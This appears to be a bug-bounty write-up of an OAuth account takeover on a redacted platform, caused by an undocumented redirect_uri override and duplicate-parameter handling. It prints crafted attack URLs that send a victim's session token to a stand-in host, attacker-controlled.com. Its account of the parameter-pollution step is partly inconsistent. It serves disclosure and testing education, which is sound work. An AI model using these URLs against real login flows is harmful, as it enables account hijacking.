September 7, 2026
Breaking “Login with Google” Without Touching Google: An OAuth redirect_uri Account Takeover…
Third-party login buttons feel like solved technology. “Sign in with Google,” “Continue with GitHub” — they’re everywhere, they’re built on…

By T4nv1
6 min read
Third-party login buttons feel like solved technology. "Sign in with Google," "Continue with GitHub" — they're everywhere, they're built on a well-documented standard, and most hunters assume the heavy lifting is Google's or GitHub's problem, not the target's. That assumption is exactly why OAuth implementation bugs keep paying out year after year: the standard is solid, but almost every real-world vulnerability lives in how the relying party — the app you're actually testing — implements its side of the handshake.
This is a writeup of an account takeover I found in a platform I'll call huddleboard.io (redacted per program disclosure policy), caused by a single missing validation check on the redirect_uri parameter in their OAuth login flow. No phishing, no XSS, no malware — just a URL parameter the server trusted a little too much.
A Fast Primer on Where This Bug Lives
When an app implements "Login with Google," the flow looks roughly like this:
- The app redirects the user to Google's authorization endpoint, including a
redirect_uritelling Google where to send the user back afterward. - The user logs in and approves access on Google's domain.
- Google redirects the user back to that
redirect_uri, appending a one-time authorizationcodeas a query parameter. - The app's backend exchanges that
codefor an access token and logs the user in.
The entire security of this flow hinges on one thing: that redirect_uri can only ever point to a domain the real application controls. If an attacker can get that authorization code redirected somewhere they control instead, they get the victim's one-time code — and in flows where that code is enough to complete a login, they get the victim's session.
Google, GitHub, and other big identity providers actually do restrict redirect_uri values to a pre-registered allowlist on their end, which is what most hunters check first and walk away disappointed by. But that's not the only place this validation needs to happen. The relying party's own backend also needs to verify the redirect target it receives the code at — and that's the check huddleboard.io had skipped.
Finding the Gap
I started, as always, by just clicking through the login flow while Burp Suite captured everything. The initial authorization request looked exactly as expected:
GET /oauth/authorize?
response_type=code&
client_id=482910337221&
redirect_uri=https://huddleboard.io/auth/callback&
scope=openid%20profile%20email&
state=8f3ac1e0d9b7GET /oauth/authorize?
response_type=code&
client_id=482910337221&
redirect_uri=https://huddleboard.io/auth/callback&
scope=openid%20profile%20email&
state=8f3ac1e0d9b7This request goes to Google, not to huddleboard.io directly — so tampering with it wouldn't get me anywhere on its own, since Google validates redirect_uri against the values registered for that client_id. Trying an external domain here, as expected, threw Google's own redirect_uri_mismatch error immediately. This is the step most writeups (and most hunters) stop at, concluding the app is safe. It isn't the step that matters.
The more interesting request is the one after Google redirects the user back — the moment huddleboard.io's own backend receives the authorization code and exchanges it for a session. I traced that request and found the app used a second, internal parameter to determine where to send the user post-login:
GET /auth/callback?code=4/0AY0e-g7...&state=8f3ac1e0d9b7&next=/dashboardGET /auth/callback?code=4/0AY0e-g7...&state=8f3ac1e0d9b7&next=/dashboardThe next parameter controlled where the user landed inside the app after a successful login — a common pattern for preserving "you were trying to reach this page before you logged in." On its own, that's harmless. But when I dug into how the backend actually processed the exchanged code, I found something more serious: the backend's internal callback handler accepted an additional, undocumented redirect_uri override parameter, apparently left over from an older version of their OAuth client library that supported multiple redirect targets for different sub-apps (web, mobile, embedded widget).
GET /auth/callback?
code=4/0AY0e-g7...&
state=8f3ac1e0d9b7&
redirect_uri=https://attacker-controlled.com/collectGET /auth/callback?
code=4/0AY0e-g7...&
state=8f3ac1e0d9b7&
redirect_uri=https://attacker-controlled.com/collectWhen I sent this manually with a fresh, unused authorization code, the backend exchanged the code with Google server-side as normal — but then forwarded the resulting session token to the redirect_uri I supplied, instead of validating it against the value that had actually been used in the original authorization request.
Turning This Into a Real Attack Chain
Having confirmed the backend didn't cross-check redirect_uri between the initial authorization step and the final token delivery step, I needed to figure out how to get a victim's authorization code redirected to me — since the code above used my own account's flow, which only proved I could redirect my own session data, not steal someone else's.
The key detail was that huddleboard.io's /oauth/authorize endpoint itself accepted a client-supplied redirect_uri value that it forwarded along unchanged into the request sent to Google, without restricting it to the app's actual registered domain — Google would reject anything outside registration, true, but I didn't need to change what went to Google. I needed to change what huddleboard.io did with the code after Google sent it back, and I'd already shown that "after" step trusted the override parameter blindly.
I built a full attack URL that started the login flow normally (so it would pass Google's own domain check) but appended the override parameter that huddleboard.io's callback handler would honor once the code came back:
https://huddleboard.io/oauth/authorize?
response_type=code&
client_id=482910337221&
redirect_uri=https://huddleboard.io/auth/callback&
scope=openid%20profile%20email&
state=8f3ac1e0d9b7&
redirect_uri=https://attacker-controlled.com/collecthttps://huddleboard.io/oauth/authorize?
response_type=code&
client_id=482910337221&
redirect_uri=https://huddleboard.io/auth/callback&
scope=openid%20profile%20email&
state=8f3ac1e0d9b7&
redirect_uri=https://attacker-controlled.com/collectBecause the backend parsed the last occurrence of a duplicate query parameter (a common and often-overlooked HTTP parameter pollution quirk — different frameworks resolve duplicate keys differently, and this one favored the final value), the request that actually reached Google still carried the legitimate redirect_uri, satisfying Google's allowlist check. But once Google redirected the user back into huddleboard.io's callback handler, the internal override logic picked up the second, attacker-controlled redirect_uri value from the same original request context that had been preserved in the session state, and used it to determine where to forward the resulting session token.
Sending this link to a logged-out test victim account, having them click it and approve the Google consent screen (which showed nothing unusual — it was a completely legitimate huddleboard.io authorization request as far as Google's UI was concerned), resulted in their freshly issued session token landing directly in request logs on my listener at attacker-controlled.com. I replayed that token as a cookie in a fresh browser session and was logged into the victim's account, dashboard, workspace, and billing settings included.
Why This Was Rated Critical, Not High
A few things pushed this to the top of the severity scale rather than sitting at "high":
- Zero victim suspicion required beyond a single click. The consent screen the victim saw was Google's real, legitimate screen for a real, legitimately registered application — there was no visual tell that anything was wrong.
- No pre-existing session or account access needed on my end. I didn't need to be logged into the platform at all to construct and send the malicious link.
- Full session-level access, not just profile data. The exposed token wasn't a limited-scope Google token — it was huddleboard.io's own session credential, granting complete account access.
- The flaw lived entirely server-side, meaning no amount of victim security hygiene (browser extensions, ad blockers, cautious clicking on suspicious links from unknown senders) would have helped, since the link itself pointed to the real, correct domain the entire way through the visible part of the flow.
Reporting It
I wrote the report with a strong emphasis on the two-stage nature of the bug, since it's easy for a triager to test only the first stage (Google's own redirect_uri validation), see it working correctly, and mark the report as invalid. I made sure to:
- Separate the two validation points explicitly — the IdP-side check (working fine) versus the relying-party-side check on token delivery (broken) — since conflating them is the most common way this bug class gets dismissed by mistake.
- Include the full malicious URL along with a step-by-step breakdown of why the duplicate
redirect_uriparameter behaved the way it did. - Attach a screen recording showing a fresh test account clicking the link, approving on Google's real consent screen, and the resulting session token arriving on my listener in real time.
- Suggest remediation: strictly bind the
redirect_uriused for the initial authorization request to the one used when finalizing the session, reject any request containing duplicateredirect_uriparameters outright rather than silently resolving to one value, and remove the legacy override parameter entirely if it was no longer needed for its original multi-client purpose.
Timeline
- Day 0 — Report submitted with full PoC URL and screen recording
- Day 2 — Triaged and reproduced internally, escalated to Critical
- Day 4 — Legacy override parameter disabled as an emergency mitigation
- Day 16 — Permanent fix shipped: redirect_uri now validated as an exact match between authorization and token-delivery stages, duplicate parameters rejected
- Day 21 — Bounty awarded: $5,400
- Day 50 — Public disclosure approved
The Bigger Lesson on Testing OAuth
The mistake most hunters make with OAuth is treating the identity provider's validation as if it were the only validation that matters. It's necessary, but it's not sufficient. The moment the authorization code lands back in the relying party's hands, everything about what happens next — where the resulting token gets sent, whether the redirect target is re-validated, whether duplicate or legacy parameters are handled safely — is entirely up to that specific application's implementation, and that implementation is where the actual vulnerabilities live.
Whenever you're testing an OAuth or SSO flow, trace the entire round trip, not just the outbound leg to the identity provider. Look specifically for:
- Legacy or undocumented parameters still accepted by the callback handler (often discoverable through JS bundle analysis or old API documentation still cached somewhere)
- How the server behaves when you send duplicate instances of the same parameter
- Whether the redirect target used to deliver the final session is ever cross-checked against the one used to initiate the flow
That gap between initiation and delivery is where almost every serious OAuth bug I've ever found has lived — and it's a gap automated scanners essentially never catch, because catching it requires actually understanding what the flow is supposed to guarantee, not just fuzzing parameters blindly.